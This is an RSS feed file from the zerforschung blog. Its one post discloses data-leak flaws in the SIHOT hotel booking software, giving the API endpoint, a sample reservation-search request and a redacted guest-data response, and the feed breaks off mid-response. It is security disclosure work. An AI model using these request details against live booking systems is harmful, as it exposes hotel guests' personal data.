<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>zerforschung</title>
    <link>https://zerforschung.org/</link>
    <description>zerforschung</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>de-de</language>
    <lastBuildDate>Wed, 08 Oct 2025 20:15:00 +0200</lastBuildDate>
    
    <atom:link href="https://zerforschung.org/index.xml" rel="self" type="application/rss+xml" />
    
    
    <item>
      <title>Suche Entspannung, finde Datenleck</title>
      <link>https://zerforschung.org/posts/sihot/</link>
      <pubDate>Wed, 08 Oct 2025 20:15:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/sihot/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/sihot/titelbild.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;Hotels stehen für Schlaf, Urlaub, Reisen – und wohl auch für Datenlecks.
Erneut haben wir eine Sicherheitslücke bei einer Hotelsoftware gefunden, diesmal mit vielen Millionen Betroffenen aus den letzten 10 Jahren.
Mit dabei: ein saarländischer Softwareanbieter, eine Münchner Motel-Kette und (&lt;em&gt;wie immer&lt;/em&gt;) ein zählendes Zerforschi.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Die Kurzfassung vorab:&lt;br&gt;
Wir haben eine Reihe von Sicherheitslücken in &lt;em&gt;SIHOT.WEB&lt;/em&gt; und &lt;em&gt;SIHOT.GO!&lt;/em&gt; gefunden, die Zugriff auf die Reservierungs- und Gästedaten im System erlaubten.&lt;/p&gt;
&lt;p&gt;Betroffen waren unter anderem die DJH-Jugendherbergen in Mecklenburg-Vorpommern, Rheinland-Pfalz und dem Saarland, die Arbeiterwohlfahrtstochter AWO SANO, Motel One, der DeHoGa-Campus und eine Reihe von Hotelketten mit Namen wie &amp;ldquo;Fidelis&amp;rdquo; und &amp;ldquo;GSH&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Dabei wären nach unserer Schätzung insgesamt mehr als 35,5 Mio. Reservierungen und 48,5 Mio. Gästeprofile abrufbar gewesen.
Alleine bei Motel One hätten damit schätzungsweise über 30 Mio. Reservierungen und mehr als 40 Mio. Gästeprofile abgerufen werden können, darunter auch Spitzenpolitiker*innen.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Doch was genau ist passiert?&lt;/p&gt;
&lt;h2 id=&#34;guten-tag-welchen-datenhaufen-haben-sie-reserviert&#34;&gt;Guten Tag, welchen Datenhaufen haben Sie reserviert?&lt;/h2&gt;
&lt;p&gt;Wer Hotels managen will, hat viel zu tun: Gäste wollen eine Übernachtung buchen, irgendwann anreisen und einchecken, ein geputzes Zimmer betreten und sich ins bezogene Bett fallen lassen.
Um das alles zu organisieren, gibt es digitale Verwaltungssoftware – wie die der GUBSE AG aus Schiffweiler im Saarland.&lt;/p&gt;
&lt;p&gt;Die bieten mit &lt;em&gt;SIHOT&lt;/em&gt; eine ganze Hotelmanagement-Software-Suite an, die aus vielen verschiedenen Teilen besteht.
Dazu gehören auch die Buchungsplattform &lt;em&gt;SIHOT.WEB&lt;/em&gt;, über die Gäste ein Zimmer buchen können und eine Web-App für die Gäste namens &lt;em&gt;SIHOT.GO&lt;/em&gt;, damit man auch alles bequem auf dem Handy machen kann.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/sihot/scroll.webp&#34;
         alt=&#34;Mensch scrollt auf Telefon&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Doch eine Hotelsoftware wäre nichts ohne Hotels, die sie nutzen.
Und von denen kann SIHOT gleich eine ganze Reihe vorweisen: die DJH-Jugendherbergen in Mecklenburg-Vorpommern, Rheinland-Pfalz und dem Saarland, die Arbeiterwohlfahrtstochter AWO SANO, Motel One&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;, der DeHoGa-Campus und eine Reihe von Hotelketten mit Namen wie &amp;ldquo;Fidelis&amp;rdquo; und &amp;ldquo;GSH&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;In einem dieser Hotels wollte auch ein kleines, müdes Zerforschi 😴 übernachten und &lt;a href=&#34;https://zerforschung.org/posts/likemagic/&#34;&gt;sich endlich mal erholen&lt;/a&gt;.
Gesagt, getan und auf der Hotelwebsite in die Buchungsmaske geklickt, Zimmer ausgesucht, Name und Kreditkartendaten eingegeben und &lt;em&gt;zack&lt;/em&gt; das wars auch schon.&lt;/p&gt;
&lt;p&gt;Aber als gute Zerforschis haben wir natürlich schon laaaaaange vorher die Entwicklungstools unseres Browsers geöffnet 👩‍🔬. Die protokollieren unter anderem die ganze Zeit mit, welche Daten die Website an ihre Server sendet.&lt;/p&gt;
&lt;p&gt;Denn uns interessiert stets, &lt;em&gt;wie&lt;/em&gt; eine Software eigentlich gebaut ist, die wir nutzen.&lt;/p&gt;
&lt;p&gt;Das ist ungefähr so wie kochbegeisterte Menschen durch die Welt gehen: Wer ein Essen besonders lecker findet, fragt auch mal im Restaurant nach, wie genau es zubereitet wurde.
Genauso geht es IT-Interessierten, wenn sie unterwegs sind: Wie ist eigentlich die technische Umgebung gestaltet? Wie genau funktioniert dieses System? Und welche Sprache spricht dieser Server?&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/sihot/kermitmap.webp&#34;
         alt=&#34;Kermit der Frosch, versucht verzweifelt einen Weg auf einer Papierkarte zu finden&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Und so schauen wir uns auch dieses Mal um, was so passiert auf der Plattform von SIHOT.
Die Buchungsseite ist meist eine unter &lt;code&gt;booking.sihot.com&lt;/code&gt; gehostete Web-App.
Dabei hat jede Hotel(kette) eine eigene Client-ID, die auch Bestandteil der URL ist – vollständig findet sich die Buchungsseite also unter &lt;code&gt;https://booking.sihot.com/{CLIENT_ID}/client/&lt;/code&gt;.
Um Informationen zu unserer Buchung abzurufen, kommuniziert die Website mit dem Buchungsserver über den API-Endpunkt &lt;code&gt;https://booking.sihot.com/{CLIENT_ID}/dataServlet&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;mein-name-ist-forschi-ich-checke-hier-ein&#34;&gt;Mein Name ist forschi, ich checke hier ein&lt;/h2&gt;
&lt;p&gt;Wenn wir unsere Reservierung nochmal aufrufen (Frühstück wäre doch was Feines – schnell dazubuchen!), fragt die Website beim Server nach, welche Infos es denn zu unserer Reservierungsnummer gibt.
Klar, wenn man ins Hotel geht, muss man ja auch seinen Namen sagen, damit die Mitarbeiter*innen an der Rezeption die Reservierung finden können.
Wenn die Website nachfragt, sieht das etwa so aus (nur dass statt dem geschwärzten Block unsere Reservierungsnummer steht):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_DOCUMENT&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;RES-SEARCH&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GDSNO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SCOPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;NOTIMESHARE;NORESCHANNELS;NOCCLIST;NODEPOSIT&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Der Server antwortet dann brav mit allen Infos zu unserer Reservierung.
Name, Check-In- und Check-Out-Datum, E-Mail-Adresse, Postadresse, Preis, Sonderwünsche, alles korrekt.&lt;/p&gt;
&lt;details&gt;
    &lt;summary&gt;Beispielhafte, sehr lange, Antwort des Servers (Klicken zum Ausklappen)&lt;/summary&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_Document&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MSG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_Version&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;S:&amp;amp;#92;SIHOT&amp;amp;#92;SINETRES.EXE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;Version&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1100.05.00.0244&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ARESLIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RESERVATION&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TAX_NUMBER1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ZIP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_NAME_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TAX_NUMBER2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TAX_NUMBER3&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RES_NR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_ZIPCODE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME_CORRESPONDENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CANCELLATION_POLICY_DESC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXT_KEY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LAST_MOD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LAST_MOD_BY_RU&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COMMENT_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDREN_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COMMENT_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOB&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NIGHTS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERSON&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ZIP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISO_LANG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_NAME_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_ZIPCODE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NUMBEROFCHILDREN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME_CORRESPONDENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;IDENTIFICATION_NO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COUNTRY_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FB_COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTADULTS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_SUBNR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TIME_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███@████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COMMENT_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDREN_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COMMENT_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPEDITIONCOUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NATION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STATUS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;R&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_PARAMETERS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOB&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SALES_CATEGORY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PLACE_OF_BIRTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDRESS_CORRESPONDENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDSEATS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_ZIPCODE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CENTRALGUEST_ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROOM_PERS_SEQ&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TYPE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_NAME_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INTERNET_PWD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
